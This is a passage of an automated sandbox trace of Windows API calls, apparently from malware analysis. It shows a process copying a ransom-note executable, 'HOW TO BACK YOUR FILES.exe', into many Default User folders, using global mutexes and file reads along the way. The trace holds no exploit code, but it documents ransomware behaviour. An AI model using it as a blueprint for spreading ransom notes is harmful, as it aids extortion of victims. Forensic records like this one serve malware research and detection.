lpString1="C:\\Users\\Default User\\Desktop") returned="C:\\Users\\Default User\\Desktop" [0100.724] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.724] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.725] CreateFileW (lpFileName="C:\\Users\\Default User\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\desktop\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.725] GetLastError () returned 0x0 [0100.725] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.725] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.725] CloseHandle (hObject=0xf4) returned 1 [0100.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.725] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.725] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Desktop\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc78b6260, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc78b6260, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5299d0 [0100.726] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Documents" | out: lpString1="C:\\Users\\Default User\\Documents") returned="C:\\Users\\Default User\\Documents" [0100.726] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.726] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.726] CreateFileW (lpFileName="C:\\Users\\Default User\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.726] GetLastError () returned 0x0 [0100.726] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.726] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.727] CloseHandle (hObject=0xf4) returned 1 [0100.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.727] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.727] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7902520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7902520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5299d0 [0100.727] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0100.727] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0100.727] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.727] FindNextFileW (in: hFindFile=0x5299d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0100.727] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0100.727] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0100.728] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.728] FindNextFileW (in: hFindFile=0x5299d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0100.728] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0100.728] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0100.728] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.729] FindNextFileW (in: hFindFile=0x5299d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0100.729] FindClose (in: hFindFile=0x5299d0 | out: hFindFile=0x5299d0) returned 1 [0100.729] ReleaseMutex (hMutex=0xec) returned 1 [0100.729] CloseHandle (hObject=0xec) returned 1 [0100.729] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default User\\Downloads" | out: lpString1="C:\\Users\\Default User\\Downloads") returned="C:\\Users\\Default User\\Downloads" [0100.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50fcb8 | out: hHeap=0x4f0000) returned 1 [0100.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b380 | out: hHeap=0x4f0000) returned 1 [0100.729] lstrlenW (lpString="C:\\Users\\Default User\\Downloads") returned 31 [0100.729] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\62F13B63F11C67B1F7CD46A6CE620079") returned 0xec [0100.729] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.729] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Downloads" | out: lpString1="C:\\Users\\Default User\\Downloads") returned="C:\\Users\\Default User\\Downloads" [0100.729] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.729] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.730] CreateFileW (lpFileName="C:\\Users\\Default User\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\downloads\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.730] GetLastError () returned 0x0 [0100.730] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.730] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.730] CloseHandle (hObject=0xf4) returned 1 [0100.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.730] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.730] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Downloads\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7928680, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7928680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5299d0 [0100.730] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Favorites" | out: lpString1="C:\\Users\\Default User\\Favorites") returned="C:\\Users\\Default User\\Favorites" [0100.730] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.730] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.731] CreateFileW (lpFileName="C:\\Users\\Default User\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\favorites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.731] GetLastError () returned 0x0 [0100.731] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.731] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.731] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.731] CloseHandle (hObject=0xf4) returned 1 [0100.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.731] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.732] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Favorites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7974940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7974940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5299d0 [0100.732] lstrcatW (in: lpString1="Links", lpString2="\\" | out: lpString1="Links\\") returned="Links\\" [0100.732] lstrcatW (in: lpString1="Links\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Links\\HOW TO BACK YOUR FILES.exe") returned="Links\\HOW TO BACK YOUR FILES.exe" [0100.732] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\favorites\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.732] FindNextFileW (in: hFindFile=0x5299d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7974940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7974940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0100.732] lstrcatW (in: lpString1="Microsoft Websites", lpString2="\\" | out: lpString1="Microsoft Websites\\") returned="Microsoft Websites\\" [0100.732] lstrcatW (in: lpString1="Microsoft Websites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Websites\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Websites\\HOW TO BACK YOUR FILES.exe" [0100.732] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\favorites\\microsoft websites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.733] FindNextFileW (in: hFindFile=0x5299d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc799aaa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0100.733] lstrcatW (in: lpString1="MSN Websites", lpString2="\\" | out: lpString1="MSN Websites\\") returned="MSN Websites\\" [0100.733] lstrcatW (in: lpString1="MSN Websites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSN Websites\\HOW TO BACK YOUR FILES.exe") returned="MSN Websites\\HOW TO BACK YOUR FILES.exe" [0100.733] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\favorites\\msn websites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.733] FindNextFileW (in: hFindFile=0x5299d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc799aaa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0100.734] lstrcatW (in: lpString1="Windows Live", lpString2="\\" | out: lpString1="Windows Live\\") returned="Windows Live\\" [0100.734] lstrcatW (in: lpString1="Windows Live\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Live\\HOW TO BACK YOUR FILES.exe") returned="Windows Live\\HOW TO BACK YOUR FILES.exe" [0100.734] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\favorites\\windows live\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.734] FindNextFileW (in: hFindFile=0x5299d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc799aaa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0100.734] FindClose (in: hFindFile=0x5299d0 | out: hFindFile=0x5299d0) returned 1 [0100.734] ReleaseMutex (hMutex=0xec) returned 1 [0100.734] CloseHandle (hObject=0xec) returned 1 [0100.734] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default User\\Links" | out: lpString1="C:\\Users\\Default User\\Links") returned="C:\\Users\\Default User\\Links" [0100.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529a10 | out: hHeap=0x4f0000) returned 1 [0100.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b3d8 | out: hHeap=0x4f0000) returned 1 [0100.734] lstrlenW (lpString="C:\\Users\\Default User\\Links") returned 27 [0100.734] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6BBE02C9BA896E0730FE3F29FB4FA949") returned 0xec [0100.734] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.735] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Links" | out: lpString1="C:\\Users\\Default User\\Links") returned="C:\\Users\\Default User\\Links" [0100.735] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.735] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.735] CreateFileW (lpFileName="C:\\Users\\Default User\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\links\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.735] GetLastError () returned 0x0 [0100.735] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.735] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.735] CloseHandle (hObject=0xf4) returned 1 [0100.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.736] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.736] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Links\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a0cec0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a0cec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a10 [0100.736] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Local Settings" | out: lpString1="C:\\Users\\Default User\\Local Settings") returned="C:\\Users\\Default User\\Local Settings" [0100.736] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.736] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.736] CreateFileW (lpFileName="C:\\Users\\Default User\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\local settings\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.737] GetLastError () returned 0x0 [0100.737] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.737] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.737] CloseHandle (hObject=0xf4) returned 1 [0100.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.737] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.737] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Local Settings\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529a10 [0100.737] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0100.737] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0100.737] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Local Settings\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\local settings\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.738] FindNextFileW (in: hFindFile=0x529a10, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0100.738] lstrcatW (in: lpString1="History", lpString2="\\" | out: lpString1="History\\") returned="History\\" [0100.738] lstrcatW (in: lpString1="History\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History\\HOW TO BACK YOUR FILES.exe") returned="History\\HOW TO BACK YOUR FILES.exe" [0100.738] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Local Settings\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\local settings\\history\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.738] FindNextFileW (in: hFindFile=0x529a10, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.738] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0100.738] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0100.738] 